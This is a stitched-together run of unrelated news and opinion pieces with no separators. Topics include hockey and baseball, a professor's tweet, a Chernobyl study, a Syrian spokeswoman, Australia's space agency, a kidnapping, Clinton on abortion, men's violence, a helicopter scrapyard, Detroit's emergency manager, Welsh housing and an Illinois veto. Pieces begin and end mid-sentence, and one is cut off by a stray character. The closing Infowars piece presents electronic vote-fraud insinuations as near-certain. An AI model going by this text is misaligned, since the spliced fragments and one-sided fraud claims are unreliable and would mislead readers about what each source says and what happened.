So the bottom line: if you are looking for the Buffalo Sabre to become buyers, you are certainly a glass-half-full kind of person. If the Sabres tear up February to the tune of 10-2-2, you will have my attention... but even then, any moves the team makes will be minor tweaks, as GMTM is not going to sell his prospects in a desperate swing for the fences. If Buffalo enters March having only sold a spare part or two, I would take that as a great sign of progress.
This article originally appeared onA Drexel University professor is currently being investigated after tweeting out a Christmas joke about white genocide. College officials were less than enthused.
George Ciccariello-Maher, an associate professor of politics at the Philadelphia university, sent the following tweet to 11,00 people on Christmas Eve: “All I Want for Christmas is White Genocide.”
Despite claiming that the statement was meant to be ironic, Drexel officials weren’t buying it.
“While the University recognizes the right of its faculty to freely express their thoughts and opinions in public debate, Professor Ciccariello-Maher’s comments are utterly reprehensible, deeply disturbing, and do not in any way reflect the values of the University,” the school said in a statement, adding that they are “taking this situation very seriously.”
(1/6) Response to Professor George Ciccariello-Maher's Tweet: https://t.co/UfJ01xnk2D — Drexel University (@DrexelUniv) December 26, 2016
(2/6) Drexel became aware today of Assoc. Prof. George Ciccariello-Maher's inflammatory tweet, — Drexel University (@DrexelUniv) December 26, 2016
(3/6) which was posted on his personal Twitter account on Dec. 24, 2016. While the University recognizes the right of its faculty to… — Drexel University (@DrexelUniv) December 26, 2016
(4/6) to freely express their thoughts and opinions in public debate, Prof. Ciccariello-Maher's comments are utterly reprehensible… — Drexel University (@DrexelUniv) December 26, 2016
(5/6) deeply disturbing, and do not in any way reflect the values of the University. The University is taking this situation very seriously — Drexel University (@DrexelUniv) December 26, 2016
(6/6) We contacted Prof. Ciccariello-Maher today to arrange a meeting to discuss this matter in detail. https://t.co/UfJ01xnk2D — Drexel University (@DrexelUniv) December 26, 2016
Ciccariello-Maher called the statement “chilling” and claims that Drexel doesn’t seem to understand that he was mocking white genocide, which he calls an “imaginary concept” made up by white supremacists.
“It is a figment of the racist imagination,” he said. “It should be mocked, and I’m glad to have mocked it.”
Ciccariello-Maher has since made his Twitter private, but according to Metro, he followed up his tweet with another statement that praised the “massacre” of white people in Haiti during the country’s slave uprising and revolution.
After posting the tweet, Ciccariello-Maher, who lists “race and racism” as one of his academic specialities, received numerous death threats from strangers online. Others have had more moderate reactions.
This is extremely embarrassing for Drexel https://t.co/MkCOXq3e0I — Naomi LaChance (@lachancenaomi) December 26, 2016
Agreed he shouldn't be fired, but have no problem with Drexel investigating—the joke was such that it could easily seem genuine. — Joshua Isard (@JoshuaIsard) December 27, 2016
https://twitter.com/paulengelhard/status/813345683583418368?ref_src=twsrc%5Etfw
Drexel caved to make nice with PR & appease white supremacists. White Genocide isn't a thing. Nope. https://t.co/bb5iZ7Z1Wb — Sam Whiteout (@samwhiteout) December 27, 2016
A white man mocking "white genocide"…Do the right thing Drexel: defend your faculty. — Michael W. Swanton (@MWSwanton) December 27, 2016
Just so you follow, according to @DrexelUniv, enslaved Black folk killing their masters is "utterly reprehensible, and deeply disturbing". pic.twitter.com/EaKrrxVCNP — Dwayne David Paul (@DwayneDavidPaul) December 26, 2016
What do you think about the situation? Should he should be fired? Sound off in the comments below.Workers who helped clean up after the 1986 Chernobyl nuclear power plant accident in Ukraine share a significant increased risk of developing leukemia, a study has claimed.
Study Finds Increased Risks Of Leukemia Among Chernobyl Cleanup Workers
In a Journal, Environmental Health Perspectives, an international team led by scientists at the University of California, San Francisco (UCSF) and the Chernobyl Research Unit at the Radiation Epidemiology Branch of the National Cancer Institute describes the increased risks of leukemia among these workers between 1986 and 2006.The risk included a greater-than-expected number of cases of chronic lymphocytic leukemia, which many experts did not consider to be associated with radiation exposure in the past.The new study, including 110,645 workers, is the largest and longest study to date involving Chernobyl cleanup workers who worked at or near the nuclear complex in the aftermath of the accident.The team of scientists found that overall, there were 137 cases of leukemia among the workers over the 20-year span of the study, and 16 percent of those cancers were attributable to the Chernobyl radiation exposure.The findings shed light on the thorny issue of estimating cancer risk from low doses of radiation.It is an issue of importance to miners, nuclear workers and anyone who is chronically exposed to low levels of radiation at work or patients who receive sizeable radiation doses when undergoing medical diagnostic tests.Source: ANIShe may look like the actor Isla Fisher and speak like a Mayfair lady who lunches, but appearances – and words – can be deceptive. As hundreds of refugees fled the Syrian border town Jisr al-Shughour on Thursday, desperate to avoid an expected government clampdown after the killing earlier this week of 120 soldiers, Reem Haddad, the director of Syria's state TV network, gave an interview to the BBC to account for the crowds pouring into Turkey.
Many have relatives in villages just the other side of the border, she said. "A lot of them find it easy to move across because their relatives are there. It's a bit like having a problem in your street, and your mum lives in the next street, so you go and visit your mum for a bit."
As Syria's security and humanitarian crisis escalates, Haddad, who acts as a spokeswoman for the country's information ministry, has become one of the most familiar faces of President Bashar al-Assad's regime, with a talent for insisting on innocent explanations for the brutal government response to the protests.
In this she has drawn comparisons to Muhammad Saeed al-Sahhaf, whose exuberant insistence on behalf of Saddam Hussein's government that the Iraqi army was invincible earned him the nickname Comical Ali before the 2003 allied invasion.
Little is known about Haddad's early career to date, though her father served as Syria's ambassador to East Germany and is said to have modelled Syria's secret police on the Stasi.
"I don't think she believes all of what she's saying, though I think she believes some of it," Amr al-Azm, a former colleague at a Damascus language school in the early 1990s, told the Times. "She believes there's a war here between two ideologies, two groups, and she believes she's on the right side."
Would the government allow the gathering protesters to make their demonstrations peacefully, she was asked by al-Jazeera in late April.
There were no demonstrators, she said. On the contrary, said the journalist, many people on the ground were reporting gathering crowds.
"I know, you have this 'eyewitness phenomenon' thing," replied Haddad. "But we have our cameras everywhere and we have seen no gathering at all." In principle, however, demonstrations were permitted. "But they have to apply for a licence and they have to tell the police, and the police will tell them along which routes they should follow, and how long they should demonstrate and how many people there should be."
The same broadcaster, some weeks later, asked about 500 civilians thought to have been shot dead by security forces in street protests (that figure is now more than 1,000). "How do you know that sir, may I ask?" replied Haddad. "How do you know that 500 people have been shot dead, where is your information coming from?" It was a figure compiled by human rights organisations in Syria and London, among others, said the journalist.
"But my dear they are sitting in London. How can they confirm anything!" The world should confirm its facts independently, said the spokeswoman, "rather than taking shoddy, shoddy if I may say, eyewitness accounts." As Haddad well knows, all foreign journalists are banned from Syria.
• The following correction was printed in the Guardian's Corrections and clarifications column, Saturday 25 June 2011. Reem Haddad, director of Syria's state TV network, was the subject of this article, which also mentioned in passing that Ms Haddad's father served as Syria's ambassador to East Germany and was "said to have modelled Syria's secret police on the Stasi". However, Suleyman Haddad asks us to make clear that: "I was never appointed to East Germany as Syria's ambassador; neither do I know East Germany before the fall of the wall of Berlin. I worked as ambassador for my country to West Germany (and later the [unified] Federal Republic of Germany), Bonn, from the years 1987-1997. I had good relations with the government of Chancellor Helmut Kohl." Mr Haddad, now retired from the diplomatic service, adds that any suggestion that he co-ordinated the work of Syrian secret police and the Stasi "bears no credibility whatsoever".Australia Says It Is Launching Its Own Space Agency
Enlarge this image toggle caption Japan Meteorological Agency/Getty Images Japan Meteorological Agency/Getty Images
It might surprise you that Australia doesn't already have a space agency.
The country has been involved in the space field for decades — in 1967, it was among the first countries to launch a satellite. Two years later, a NASA tracking station in Australia received and transmitted the first TV images of Neil Armstrong taking the first steps on the Moon.
Now, after years of lobbying from scientists, the Australian government has announced that it is launching a space agency.
"The global space industry is growing rapidly and it's crucial that Australia is part of this growth," acting Minister for Industry, Innovation and Science Minister Michaelia Cash said in a statement.
"A national space agency will ensure we have a strategic long-term plan that supports the development and application of space technologies and grows our domestic space industry."
The government, led by Prime Minister Malcolm Turnbull, has provided few specifics about the program. At a Monday news conference, Turnbull described it as a "small agency designed to coordinate and lead."
Turnbull's political rivals in the Labor Party have been critical of the lack of progress in creating a space program. They point out that Australia is one of just two countries in the Organisation for Economic Co-operation and Development that doesn't have a space program. (The other is Iceland.)
"Unless this changes, Australia risks being left behind in a rapidly growing key global industry of the 21st century," Labor's science and research spokesman Kim Carr said in a statement.
Carr said that Australia "depends on space more than any other country in the world," using satellites for produce deliveries, banking, mobile services, and disaster relief. He adds that Australia currently holds just 0.8 percent of the global space industry, which is generally valued at more than $320 billion annually.
Australia's position on the globe makes it "ideally placed as a relay station when the NASA bits of the planet are facing away from their missions," an opinion piece carried by Australia's ABC News argues. "Commercially, providing a southern hemisphere staging ground with highly educated local staff would be an economic slam dunk."
At this point, the country's space industry is a "grassroots movement across a small number of companies, university groups, and the defense sector," astronomer and astrophysicist Lee Spitler of Australia's Macquarie University tells Science.
The U.K. launched a space agency in 2010, and now "captures a 6.5% share of the global space economy," according to a report published by South Australia's defense agency. It says that in a similar time frame, an Australian space agency could bring in $4.17 billion and create 11,700 jobs.
The Australian government says it has appointed a group of experts to review the options for the country's space industry and write a charter.Syracuse, N.Y. — The Syracuse Orange should be the nation's No. 1 ranked basketball team when the polls are released on Monday.
Syracuse, which has been ranked No. 2 in both the Associated Press and USA Today coaches polls for the last eight weeks, figures to move atop the rankings after No. 1 Arizona's loss to California on Saturday.
Arizona (21-1) lost to Cal, 60-58, when Bears guard Justin Cobbs hit a jumper with 0.9 seconds left in the game.
Syracuse survived an overtime thriller to beat No. 17 Duke on Saturday at the Carrier Dome. The Orange improved to 21-0 for the season with the win over the Blue Devils. The win broke the record for Syracuse's best start to a season.
The previous record was set in the 2011-12 when the Orange won its first 20 games.
That was the last time that Syracuse was ranked No. 1 in the country. The Orange was ranked No. 1 for six straight weeks before losing at Notre Dame.
Coincidentally, Syracuse's next game will be against Notre Dame (12-10 overall, 3-6 in the ACC) on Monday night at the Carrier Dome.
Syracuse is one of just two remaining unbeaten teams in the NCAA's Division I. Wichita State, which improved to 23-0 with its 81-67 win over Evansville on Saturday.Royals Fans Ask: Yeah, Why Not Us?
With Opening day for the Kansas City Royals just days away there’s still a few things that need to be decided.
Will Paulo Orlando make the team? Will Omar Infante be healthy enough to play defense? If not, who will replace him? Will the new Craft a Draft bar at Kauffman be a mad house all year? All of these will eventually be answered and we’ll have a new set of questions replacing them.
But the question that I’ve been asking myself actually appeared on the cover of Sports Illustrated this week. Why not us?
Let’s face it, the Royals, aren’t the sexy pick anymore. That honor goes to the Cleveland Indians. Most experts don’t think the Royals will find that lightning in bottle magic two years in a row. And who would blame them, after being absent from the post-season for 29 years. But the easiest thing in sports, especially baseball, is to be a pessimist. So I’m going to tell you five real reasons the Kansas City Royals will be in the post-season in 2015. Call it drinking the Kool-Aid or being a homer. I admit it; I want this team to win. I’m not ashamed of seeing the glass half full. So lets get to it.
Reason #1 the Royals will go to the 2015 Playoffs:
More pop. This team is ready to break out offensively. I know this may not be what the experts try to sell but the Royals are more than just a bunch of speedsters that play great defense. If Alex Rios hits 2 home runs in 2015 he doubles Nori Aoki’s contribution in 2014. I will venture to predict that Rios hits 15–17 home runs, in turn, shattering Aoki’s run production numbers. And that’s not all. How many home runs does Kendrys Morales need to hit to match Billy Butler? Nine. Same scenario here. Morales will hit more than 9 home runs.
Reason #2 the Royals will go to the 2015 Playoffs:
The Bullpen. And I’m not even talking about the three-headed monster of Herrera, Davis and Holland. No the real key is all the other guys. In 2015 the Royals will get a full season from Jason Frasor, who was a late season add-on last year. Veteran Franklin Morales, will be the much needed LOOGY (Left-handed One Out Guy) and Luke Hochevar will eventually be in the mix as well. And lets not forget about Chris Young, who was a decent starter last year for the Seattle Mariners, his 12-9 record with a 3.65 ERA holds water. And now he’s a bullpen guy! Five years ago Chris Young would’ve been the number one starter! The non-HDH guys are looking more reliable than last year; all they lack is a cool nickname. Any suggestions? Let’s see, how about “The Other Guys”
Reason #3 the Royals will go to the 2015 Playoffs:
The Defense. Yes, this has been talked and written about more than the Kardashians, but its not over-hyped. The Royals have the best Left fielder in the game, potential gold glovers at Centerfield and Short along with a gold glove catcher. This team will catch the ball. The only question mark is second base. If Infante doesn’t heal then a below league average defender will more than likely take his place.
Reason #4 the Royals will go to the 2015 Playoffs:
Confidence and Drive. Yogi Berra said it best when he explained that, “baseball is 90% mental — the other half is physical”. There’s a lot of truth to that crazy quote. These players have confidence. They know if things get tough that they can work hard and overcome adversity. They have the experience of being under rated and proving people wrong. With that said there’s a feeling of unfinished business and the drive to make a wrong into a right. These guys are still hungry for a World Series championship.
Reason #5 the Royals will go to the 2015 Playoffs:
David Glass. Wait! Don’t close the browser. Hear me out on this one. This may make more sense than you think. After seeing all the cold hard cash roll in from the 2014 playoff run, Mr. Glass, may open his pocket book a little more at the trade deadline. He may give Dayton Moore more funds to play with to get the team over the hump. Mr. Glass loves his money and now that he has seen how much merch Royals fans are willing to purchase, maybe he wants to go to the playoffs a little more. Even if its 1% more it will be a good thing if the Royals need and extra bat, starter or bullpen player at the trade deadline.
Previous Post The 2015 RoyalsBlue.com Spring Training Awards Once again, the Royals are just about wrapped up with their yearly soiree to the copper state. In typical fashion, the boys in blue have performed very well under the high sky, filling the box scores with crooked numbers and residing third in the... Read more Tweet Next Post All Time Team: Easter Edition Gentlemen, start your barbecues. Rejoice in the splendor of some of the most beautiful sunshiny days of the entire year. The bitter cold is behind us. Our days now begin with the ridiculously annoying 6 AM... Read more
Facebook Comments
commentsBy Dan Whitcomb
(Reuters) - A South Carolina woman reported missing in August along with her live-in boyfriend was found on Thursday, "chained up like a dog" in a storage container, and a registered sex offender was arrested on suspicion of kidnapping, the county sheriff said.
Kala Brown, 30, was discovered after police searching a large property in Spartanburg County, northeast of Greenville, heard banging noises from inside the 15-foot by 30-foot container, Spartanburg County Sheriff Chuck Wright told a news conference.
Wright said deputies arrested Todd Kohlhepp, 45, who they found on the property when they arrived to serve a search warrant. Investigators went to the property to follow up on a lead related to the disappearance of Brown and her boyfriend, Charlie Carver, he said.
Wright said Brown and Kohlhepp knew each other, saying that her abduction was "not a random act."
Brown told police that she had been held captive for two months in the padlocked storage box and that there might be up to four dead bodies on the property, Wright said.
"I want to thank God for allowing us to find a missing person from Anderson city who was in a container chained up like a dog," Wright said. "We found her alive and she's being treated at a medical facility right now. It's tragic that this person was being treated like that."
Anderson, where Brown and Carver vanished from, is located about 60 miles southeast of Spartanburg County.
The sheriff said Carver, 32, remains missing. "We're praying for the best outcome," Wright said.
The sheriff said Kohlhepp, a registered sex offender, would face kidnapping and other charges.
Wright said investigators were pursuing further leads based on an interview with Brown, who was "obviously traumatized" and being treated at a local medical facility.
A search was still being conducted on the property on Thursday evening.
"We're trying to make sure we don't have a serial killer on our hands," Wright said. It "very possibly could be what we have."
(Reporting by Dan Whitcomb; Editing by Dan Grebler and Leslie Adler)Watch CNN and NY1's Democratic debate, moderated by Wolf Blitzer, Thursday, April 14 at 9 p.m. ET.
New York (CNN) Democratic presidential front-runner Hillary Clinton explained her position on abortion and feminism Tuesday, arguing that while she supports abortion rights, women who don't can "absolutely" be considered feminists.
In a comment that rankled both conservatives and abortion activists, Clinton said during an interview with NBC's "Meet The Press" Sunday that "the unborn person doesn't have constitutional rights."
Clinton stood by that statement during her first interview on ABC's "The View" as a 2016 candidate.
"Under our law that is the case," the former secretary of state said. "I support Roe v. Wade because I think it is an important statement about the importance of a women making this most difficult decision with consolations by whom she chooses, her doctor, her faith, her family."
Republican front-runner Donald Trump said last week that there should be a form of "punishment" for women who get abortions if the procedure was outlawed, a comment that was widely criticized by Democrats and Republicans alike. Trump later walked back his comments, saying the punishment should be on the abortion provider.
Clinton said Tuesday that she has "no problem with people making the case, look, here is the best choice or here is a better choice" on abortion, but added that when "the government gets involved and you say it is illegal and women and doctors are criminals, that is way too far."
Clinton has made women's rights -- particularly abortion rights -- a central plank to her presidential campaign. She mentions her defense of Planned Parenthood and Roe v. Wade in nearly every stump speech and has even hit Vermont Sen. Bernie Sanders, her Democratic opponent, for downplaying the issue.
Paula Faris, one of the show's more conservative hosts, pressed Clinton about whether a women who is anti-abortion could be considered a feminist.
"Absolutely," Clinton said. "Of course you can be a feminist and be pro-life."
Clinton was on the show during a day of campaigning in New York, ahead of the state's April 19 primary. Clinton will hold a town hall in Brooklyn on Tuesday afternoon and also has an evening fundraiser scheduled.
"I just feel so happy when I am in New York," Clinton said of campaigning in the state she moved to in 2000.
There were lighter moments during Clinton's appearance on the midday show, as well.
Clinton told the hosts that she gets "separation anxiety" when she doesn't see her granddaughter, Charlotte, often enough, but added that FaceTime, the Apple video chatting app, "was invented for grandparents."
Clinton was also asked about her favorite music, to which she name checked Katy Perry and Demi Lovato, two high-profile campaign supporters. She also said she listens to anything by Adele.
And the hosts also asked Clinton about her celebrity crush.
"I do have a number of them," Clinton said before naming George Clooney, the 54-year old actor.
"I will stop there," Clinton said her list, "but he is a pretty big figure on my celebrity crush list."
Clooney is also a Clinton supporter, who is hosting a fundraiser for the candidate.The majority of men aren’t violent, but violence is a men’s issue, and we all have a stake in reducing it.
I’m a college professor. My office sits next to a hallway abuzz with students at every class changeover, so I often overhear their conversations, whether I want to or not. Recently, I heard one male student talking to another about the poster they were perusing, the White Ribbon Campaign: “Men working to end men’s violence against women—how insulting!”
Unfortunately, this is not an unusual reaction. When I talk about the gendered nature of violence, lots of men get defensive—“Hey, I’m not violent”—and they are unwilling to continue the conversation.
So let me say this loud and clear: the vast majority of men are not violent. I am a man and I haven’t had a fight since the sixth grade—and most men I know have similar histories of nonviolence. So why should we talk about violence as a men’s issue? After all, some women are violent, too.
♦◊♦
While the vast majority of men are not violent, the vast majority of violent people are men. In the United States, men commit nearly 90 percent of all violent crimes, and there are similar imbalances nearly everywhere in the world. Imagine if men were no more violent than women. In the United States, it would mean a 75 percent reduction in violent crimes, which translates into about 22,000 fewer violent crimes and 30 fewer murders per day.
We are tempted to believe that men are so much more violent than women because of some biological factor such as testosterone, but research into the biological correlates of violence doesn’t support that hypothesis; besides, the vast majority of men are not violent. Research into psychological factors has been much more successful. Violent men nearly all adhere to toxic definitions of masculinity. In gender-based violence—rape, intimate partner violence, etc.—these definitions of manhood include an especially strong dose of dominance and woman-hating. And these definitions are supported by the men they associate with, and the culture at large.
Don’t like ads? Become a supporter and enjoy The Good Men Project ad free
Violence is a men’s issue, and all of us have a stake in reducing it. Men are also the most frequent victims of male violence. It is physically and psychologically damaging for victims and their friends and families, it puts perpetrators at risk for harm and incarceration or other legal trouble, it causes non-victims to live in fear, and it costs us a tremendous amount of money in law enforcement, prisons and jails, emergency rooms and health insurance, and social services like batterer education programs and rape crisis centers.
♦◊♦
The solutions begin with the awareness that this is largely a men’s problem—we need to take responsibility for preventing violence. Every man can get involved by refusing to participate in attitudes and behaviors that support violence and by confronting men who support violence.
A well-placed couple of words can be remarkably powerful. Express disapproval when other men say dehumanizing things about others or suggest that violence is an appropriate reaction to conflict. Men talk in these ways to win the approval of other men. If you disapprove, they will not get what they want and they are more likely to stop than if you remain silent or go along with the joke.
We can also support local services such as rape crisis centers and domestic violence agencies with donations and volunteer time. We can get involved with national organizations like Men Can Stop Rape. We can participate in or begin a White Ribbon Campaign or a Red Flag Campaign to prevent interpersonal violence. We can mentor young boys and men and help them to see that there are alternatives to physical aggression.
Make it your personal pledge to never commit, condone, support, or remain silent about men’s violence, and we will go a long way toward solving the problem that has affected so many people.
♦◊♦
Christopher Kilmartin is a professor of psychology at the University of Mary Washington and maintains a small private therapy practice. He is the author of The Masculine Self (4th edition) and co-author of Men’s Violence Against Women: Theory, Research, and Activism. Dr. Kilmartin has performed his one-man show, “Crimes Against Nature,” a humorous and educational look at men’s issues, on more than 300 university campuses.
♦◊♦
Paul Elam responds to this article here.
Andrew Smiler of SPSMM responds to Elam here.I first felt intrigued by this place when I was digging through maps on Wikimapia in another search for an airdrome and I saw an airfield with some kind of lines drawn on it and characters “419 arz”.
When I got to the location in Gorelovo, I was amazed: there were more helicopters than there are cars on an IKEA parking lot.
Without any security, the site had all characteristics of an abandoned place, with a rusty barbed wire fence and some of the helicopters sunken into the asphalt. The site amazed me so much that I visited it twice, once on a cloudy and once on a sunny day, so this post has photos in different sets of colors.
This is the airfield that looked so intriguing to me. It is 2500 m by 60 m in area. (8200 ft by 200 ft)
The airfield. Airplanes that take off at Pulkovo airport often fly over it.
Coming up to the helicopters.
Getting over the rusty barbed wire fence is nothing difficult
There are so many of them that they don’t fit into one photo!
There is still some life going on at the plant, this photo was taken two weeks later and another Mi-6 had appeared.
Two Mi-24. Their condition is more or less operational.
A pack of Mi-24
Mi-24 with office buildings of the plant in the background.
The blades and the guns have already been taken off.
A Mi-24 №32. The reports of other people that have visited this site indicate that it has been here since 2007.
One has a bee painted on it.
The central square.
The helicopters are being taken apart little by little
Signs of vandalism.
Some colorful Mi-6 from Azerbaijan
Some more Ka-32 and Mi-6 from Azerbaijan.
There is not one aircraft that is intact on the storage ground.
Rows.
The central row two weeks later.
Dozens of them!
Some are damaged.
And others not so much.
An Arabian one
Some have sunken into the asphalt up to the gear leg.
A helicopter sunken into the asphalt.
Everything is falling off.
And everything looks ragged.
A Mi-24 cabin.
The front view of a Mi-24 and a Ka-32 at a distance.
Sponsons.
A local secuiry guard.
Mi-2 rear end.
A Mi-2 taken apart forever.
Another pack of Mi-2.
The rear part of a Mi-6.
Dead-clothes.
Another Arabian one.
The tails are thrown into a pile.
The main entrance.
Images by Meteo, reproduced with permissionA Call to Action
Oppose the bankers’ dictatorship in Detroit!
By the Socialist Equality Party
8 April 2013
A pdf version of this statement is available here.
The Socialist Equality Party calls on workers and young people in the Detroit area to mobilize opposition against the newly appointed emergency manager and the plans to carry out a new round of devastating attacks on the working class.
Kevyn Orr has not been installed to “save” Detroit, but to destroy it. For an indefinite period of time, he can enact laws, replace all elected officials, deploy the police, rip up contracts and assume all the powers of government. He will use these dictatorial powers to destroy the wages and benefits of city workers, shut down essential services and sell off public assets like the water system, the zoo and art museum.
Everything can be torn up. All contracts are worthless, except for one thing: Orr is mandated to make sure the city’s debts are paid in full and the banks and wealthy bondholders get all their money. This requirement is written into the emergency manager law. It is no accident that his former law firm—Jones Day—represents Bank of America, UBS and JP Morgan Chase, the very same Wall Street firms that have milked the city for $474 million in debt-servicing payments since 2005.
What is happening to Detroit is a social crime, which will be used as a model throughout the United States. The closing of public schools, cuts to fire and ambulance service and the shutoff of electricity and gas have already produced tragedy. A new round of cuts will eliminate whatever social protections remain and condemn thousands more to an early grave.
But this is of no concern to the big banks or their political front men. From Republican Governor Rick Snyder and Democratic state treasurer Andy Dillon to Mayor Bing and the City Council, they all agree that the working class must pay for the economic crisis we did not create. The City Council and the trade unions, while posturing as opponents of the emergency manager, insist they will do a better job of attacking workers and dismantling the city.
The installation of the unelected EFM makes a mockery of democracy. In November, Michigan voters overturned Public Act 4, which gave emergency managers vast powers. “The wishes of the people be damned!” declared the political representatives of the banks and corporations. The state government promptly passed a new law, almost exactly the same as the one that had just been rejected.
The one section of the population which has had no say in determining the future of Detroit is the vast majority: the working class—employed and unemployed, black and white, young and old, in the city and throughout the Metropolitan area. It is time for working people to stand up and advance our own solution.
A global crisis
What is happening in Detroit is an expression of the crisis of the capitalist system and the decay and parasitism of the American ruling elite. Over the last three decades, the capitalist class has systematically shut down basic industries and shifted investment into the stock market, derivatives and other financial swindling, which produce nothing except massive profits for the super-rich.
In 2008, the speculative bubble on Wall Street came crashing down. The response of first Bush and then Obama was to hand over trillions of dollars to the banks. Not a single banker |
“an expected surge in numbers of vulnerable families presenting as homeless”, including Merthyr Tydfil.
The solution however, Ms Winckler argues, is not “to ship people down the M4” but to provide affordable housing in London and having a benefits system that allows for exceptionally high housing costs in some places. She said: “London councils are clearly desperate – rents are so high in the capital that it is very difficult for families who are either unemployed or in low-paid jobs to find somewhere affordable to live.
“But buying cheap houses in Wales is not the answer. It doesn’t help London families to be housed hundreds of miles away.
“And an influx of families uprooted from their friends, schools and services doesn’t help people in Wales either – there are already thousands of people in Wales looking for an affordable home, and this will only add to pressure on Wales’ schools and public services and increase the already high numbers of people relying on benefits here.”
Seventeen local authorities in London have said they were already placing homeless families outside the capital, according to the Guardian.
And while MPs are expected to debate regulations surrounding the benefit cap at a Commons legislation committee meeting today, a new study published by the charity Child Poverty Action Group (CPAG) and Lasa has warned that homeless residents could mount legal challenges on the basis that a move outside of the city could “impact on their health or their children’s education”.
John Puzey, director of Shelter Cymru, said that the decision would also put pressure on struggling Welsh services, including schools.
He said: “It is clear that the hugely inflated rents in London are putting the city’s councils under extreme pressure when it comes to housing, but dispersing homeless people across Britain can’t be the answer.
“Services across Wales are all struggling and this is compounded by the drastic shortage of affordable homes and the impact of benefit cuts. Just about everyone in Wales who receives housing benefit is going to have to make up a greater shortfall between their benefit and the cost of their rent.”
An estimated 40,000 tenants are going to be hit by next year’s “bedroom tax” and around 91,000 households are on waiting lists for council and social housing.
Mr Puzey continued: “If this goes ahead, we will end up in the bizarre situation of local authorities competing with one another for an increasingly scarce resource and the losers will be those people – many of whom are in work but on incomes too low to meet their housing costs – stranded without a secure, affordable home.”
A Welsh Government spokesman said: “It is neither acceptable, fair nor necessary for local authorities to place families far away from their area.”
Nobody was available for comment at Merthyr Tydfil council.Back at the end up May, the Illinois General Assembly finished passing Senate Bill 2015.
The vote on a bill to increase the speed limit on Illinois Tollways to 70 mph wasn’t even close–in fact the votes were veto proof.
In the Illinois Senate the vote was 48-6. In the House of Representatives it was even more of a blowout with 111 members for and four votes against.
But despite the overwhelming support, Governor Pat Quinn vetoed the bill this past Tuesday.
“Recent evidence shows that drivers already travel at excessive speeds on Illinois toll highways,” said Quinn in a letter explaining his veto. “The THA (Toll Highway Authority) conducted a study of drivers on I-94 in Lake County in 2013 and found that 71% of drivers sampled exceeded the posted speed limit by more than 15 miles per hour. A second, more thorough study conducted by the THA measured speeds on seven different toll highway segments and found that between 91 and 98% of drivers exceeded posted speed limits by rates ranging from 11 to 15 mph during off peak hours.”
This bill, sponsored by State Senator Jim Oberweis (R-Sugar Grove), was meant to clarify language in an original bill that was intended to increase the speed limit on expressways across the entire state to 70 mph. While Quinn did sign the original bill, his office interpreted the law to apply only to areas outside the greater Chicagoland area.
At the time, Oberweis accused Quinn of misunderstanding the bill.
The Illinois Department of Transportation and the Illinois Tollway Authority both declined to increase area speed limits despite evidence most drivers were already traveling at speeds far above the 55 mph limit in place.
As the original sponsor, Oberweis got clarifications in the bill to essentially force the Illinois Tollway to increase speed limits to 70 mph or prove there’s a legitimate reason for keeping speed limits at 55 mph.
Speed limit reform activist Steven Doner doesn’t believe Quinn’s veto will stand after the General Assembly reconvenes for a veto session in November after the election.
“The bill passed by veto-proof majorities in both houses – over 90% so Quinn’s veto accomplishes nothing except maybe to ingratiate himself to those in the speeding ticket revenue stream (insurance companies, traffic attorneys, the court system, police agencies, etc),” says Doner. “The bill was intended to clarify legislation passed last year. The original bill already applied to the entire Chicago metro area. Under the new bill (which will now pass in spite of Quinn) puts the onus on the Tollway to prove that a 70 mph speed limit would be unsafe if they want to post a lower limit.”
In other words, wait until November’s veto session.
Doner is excited at the prospect of the bill finally passing this October.
Share on FacebookPaul supporters worry New Hampshire chicanery could cost him second place finish
Paul Joseph Watson
Infowars.com
Tuesday, January 10, 2012
90 per cent of tonight’s votes in the GOP New Hampshire primary will be counted by notoriously suspect Diebold electronic voting machines, which during the Democratic primary back in 2008 produced a result that completely defied both pre-primary and exit polls.
Despite widespread accusations of vote fraud four years ago, New Hampshire has failed to revert to good old fashioned hand-counted paper ballots for all but 10 per cent of the votes that will be cast.
Although 40% of New Hampshire towns use publicly hand-counted paper ballots to arrive at their vote tallies, these only account for 10% of the total votes cast in the state.
“The rest will be cast on hand-marked paper ballots, but tallied by the Diebold optical-scan computers,” reports The Brad Blog. “The same ones shown many times to be easily manipulated and and which sometimes just drop votes in such a way that there is no way to know whether they have been manipulated or failed unless one bothers to actually hand-count the paper ballots. The state does not hand-count those ballots in NH, unless a recount is called for. By then, as we saw in 2008, the chain of custody has been broken and it becomes difficult, if not impossible, to know if the ballots being “recounted” are the ones that were actually cast on Election Night.”
It was thanks to Diebold electronic voting machines, programmed and serviced by a company with a criminal background, that Hillary Clinton was able to pull off the biggest election shock in history by reversing a 13 point deficit to beat Barack Obama by 3 per cent.
At one stage hours before the vote, betting websites were offering odds of 250/1 on a Clinton victory, while Obama was at 1/100. Exit polls of voters on the day of the election confirmed that Obama was cruising to a landslide. And yet Clinton defied all the polls to claim a hugely suspect first place.
“It was noted that Obama was the winner of the hand-counted towns in NH, while Clinton won in the Diebold towns by an almost mirror-opposite percentage,” writes Brad Friedman.
Ron Paul supporters also noted how establishment candidate Rudy Giuliani significantly outperformed Paul on Diebold machines compared to paper ballots, a swing that cost Paul a crucial place in the pecking order of candidates in the GOP race.
Paul also found himself on the wrong end of suspected vote fraud when election officials in districts such as Sutton reported that Paul had received zero votes, despite numerous individuals immediately going public and asserting they had voted for Paul. Officials later had to admit that 31 votes for Paul in Sutton alone had not been counted due to “human error”.
A d v e r t i s e m e n t
{openx:74}
Although a recount would have cost a mere $2,000, Obama wasn’t interested and Dennis Kucinich ran out of money when the cost suddenly jumped to $60,000, forcing him to abandon his push for a recount despite his partial effort revealing huge discrepancies across the state.
“New Hampshire is currently the Decepticon of transparent elections. For each transparent election procedure, they’ve built a trap door,” warns electronic vote fraud expert Bev Harris.
Indeed, the man who lied to the media when he claimed Kucinich was “satisfied” with the 2008 recount, Sec. of State William Gardener, still holds sway in New Hampshire having been in power since 1976.
“Though only Third-World dictators and small town Sheriff’s tend to serve for that long in any one office, the media doesn’t question Secretary Gardner, as he continues to be the state’s point man zealously protecting its billion-dollar industry known as the “First-in-the-Nation” primary,” notes Friedman.
Although Mitt Romney is widely expected to win by a considerable margin, should Ron Paul, who is currently polling in second place, be pushed down to third by establishment candidate and former Obama administration official Jon Huntsman, expect Paul supporters to demand a statistical break-down of Paul’s performance on Diebold machines compared to hand-counted votes.
The results will almost certainly make for interesting reading.
“New Hampshire still uses the same institutionally vulnerable Diebold electronic voting machines as in 2008,” writes Dave Trotter. “So the odds of GOP establishment chicanery are even higher than in Iowa. After all, the establishment that Ron Paul threatens remains firmly in control of the levers and dials of the pollsters and the voting machines.”
*********************
